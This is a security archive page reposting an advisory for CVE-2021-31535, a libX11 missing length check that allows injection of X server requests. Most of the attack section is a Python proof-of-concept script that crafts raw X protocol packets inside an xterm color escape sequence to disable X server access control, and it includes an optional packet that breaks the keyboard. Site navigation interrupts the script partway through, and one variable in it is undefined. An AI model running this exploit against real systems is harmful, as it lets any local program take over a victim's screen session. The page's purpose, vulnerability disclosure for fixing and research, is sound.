

libX11 Insufficient Length Check / Injection

Authored by Roman Fiedler | Site unparallelled.eu

Posted May 21, 2021

A missing length check in libX11 allows data from LookupColor requests to mess up the client-server communication protocol and inject malicious X server requests.

tags | exploit, protocol
advisories | CVE-2021-31535

SHA-256 | 11761ba0cb40d06d1d9f835688853c9f235d462bc42a8503f286b6871a81294 Download Favorite View

Related Files

Share This

Like Tweet LinkedIn Reddit Digg StumbleUpon

```
Change Mirror Download

Hello list,

A missing length check in libX11 causes data from LookupColor requests mess up the client-server communication protocol and inject malicious X server requests. The flaw is comparable to SQLi injecting commands into database connections granting an attacker access to all features of the connection protocol.

Even with the flaw being embedded in the C-API/library, it can be easily demonstrated with a simple PoC run in xterm [1]. On most terminals the PoC will only produce a nice, blue background while with appropriate libX11 and xterm the same PoC disables X server authorization, thus allowing any program to connect to the X server and take over the screen session. For details on exploitation see [2].

The flaw is also interesting in two more ways:

1) for xterm the flaw can be easily detected using fuzzing. So I assume that a) nobody else fuzzed xterm yet, even being that old (less likely) or b) that the flaw was deemed a mere DoS (interruption of X communication) but as it did not involve a buffer overflow, was not seen exploitable or otherwise worth reporting. Even I myself stumbled over it it already years ago but then again forgot about it until doing some testing around other recent rxvt/xterm flaws (CVE-2021-27135).

2) from archeological perspective it would have been interesting to prove and not only assume, since when the bug was really exploitable. At least the code seems to date back quite some time to 1986. But even not from distant past, finding sufficient online resources from that era to revive an ancient system and run an X environment was not yet possible. If it happens that someone still has access to full system backups of an X server system of that time I would be happy to try to turn this into an emulator image and test the exploit.

[1] https://unparallelled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/enjoy-all-the-colors.py
[2] https://unparallelled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/

-----
enjoy-all-the-colors.py:

#!/usr/bin/python3 -bbBtIsSttW all
# This software is provided by the copyright owner "as is"
# and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
# but not limited to, the implied warranties of merchantability
# and fitness for a particular purpose are disclaimed. In no
# event shall the copyright owner be liable for any direct,
# indirect, incidental, special, exemplary or consequential
# damages, including, but not limited to, procurement of substitute
# goods or services, loss of use, data or profits or business
# interruption, however caused and on any theory of liability,
# whether in contract, strict liability, or tort, including
# negligence or otherwise, arising in any way out of the use
# of this software, even if advised of the possibility of such
# damage.
#
# Copyright (c) 2021 Unparallelled IT Services e.U.
#
# The software is only provided for reference to ease understanding
# and fixing of an underlying security issue in xterm/libX11.
# Therefore it may NOT be distributed freely while the security
# issue is not fixed and patched software is available widely.
# After that phase permission to use, copy, modify, and distribute
# this software according to GNU Lesser General Public License
# (LGPL-3.0) purpose is hereby granted, provided that the above
# copyright notice and this permission notice appear in all
# copies.
#
# This program demonstrates X client/server loss of synchronization
# due to a large color lookup request.
#
# See https://unparallelled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/
# for more information.

import sys
import time

# Set to true to inject an alternative (nonfunctional) keypad
# too. NEVER ENABLE THIS AS IT WOULD RENDER YOU KEYBOARD UNUSABLE.
# If done accidentally, try to run 'setxkbmap -layout [yourlayout]'
# to fix it.
messupKeypadFlag = False

def buildQueryTextExtents(frameCnt):
    data = bytearray(b'T'* (frameCnt<<2))
    data[0] = 48
    data[1] = 0x20
    data[2] = (len(data)>>2) & 0xff
    data[3] = (len(data)>>10) & 0xff
    return bytes(data)

def buildChangeKeyboardMappingPacket(keyCount, symPerKey):
    data = bytearray(b' '*(4*(2+keyCount*symPerKey)))
    data[0] = 100
    data[1] = keyCount
    data[2] = (len(data)>>2) & 0xff
    data[3] = (len(data)>>10) & 0xff
    # First key.
    data[4] = 0x20
    data[5] = symPerKey
    return bytes(data)

# Just display the blue color because it is so nice.
sys.stdout.buffer.write(
    b'\x07\x1b]11;#006f00005858\x07Check "shoot" afterwards ...')
sys.stdout.buffer.flush()
time.sleep(2)

# Use an invalid color name so that xterm does not react with
# an immediate out-of-frame AllocColor.
overflowData = buildQueryTextExtents(0x7072) + buildQueryTextExtents(0x6f6a)
if messupKeypadFlag:
    overflowData += buildChangeKeyboardMappingPacket(121, 68)
else:
    overflowData += buildQueryTextExtents(0x2026)
# Shorten the name lookup overflow data. This will cause the
# last command to consume also 8 bytes from the next frame.
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu1security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (8,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
IOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
overflowData = overflowData[0:(l<<18)]

# Add the terminal control sequence for the color lookup, the
# overflow data for the color lookup and another terminal sequence
# to set the background color. The color value translates to
# a valid SetAccessControl packet frame.
data = \
    b'\x1b]12;gtxxn222' + overflowData + b'\x07\x1b]11;#006f00015858\x07'
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
time.sleep(10)
```

[Login](#) or [Register](#) to add favorites

- [Spoof](#) (2,166)
- [SQL Injection](#) (16,102)
- [TCP](#) (2,379)
- [Trojan](#) (686)
- [UDP](#) (876)
- [Virus](#) (662)
- [Vulnerability](#) (31,136)
- [Web](#) (9,365)
- [Whitepaper](#) (3,729)
- [x86](#) (946)
- [XSS](#) (17,494)
- [Other](#)
- [SUSE](#) (1,444)
- [Ubuntu](#) (8,199)
- [UNIX](#) (9,159)
- [UnixWare](#) (185)
- [Windows](#) (6,511)
- [Other](#)


© 2022 Packet Storm. All rights reserved.

Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)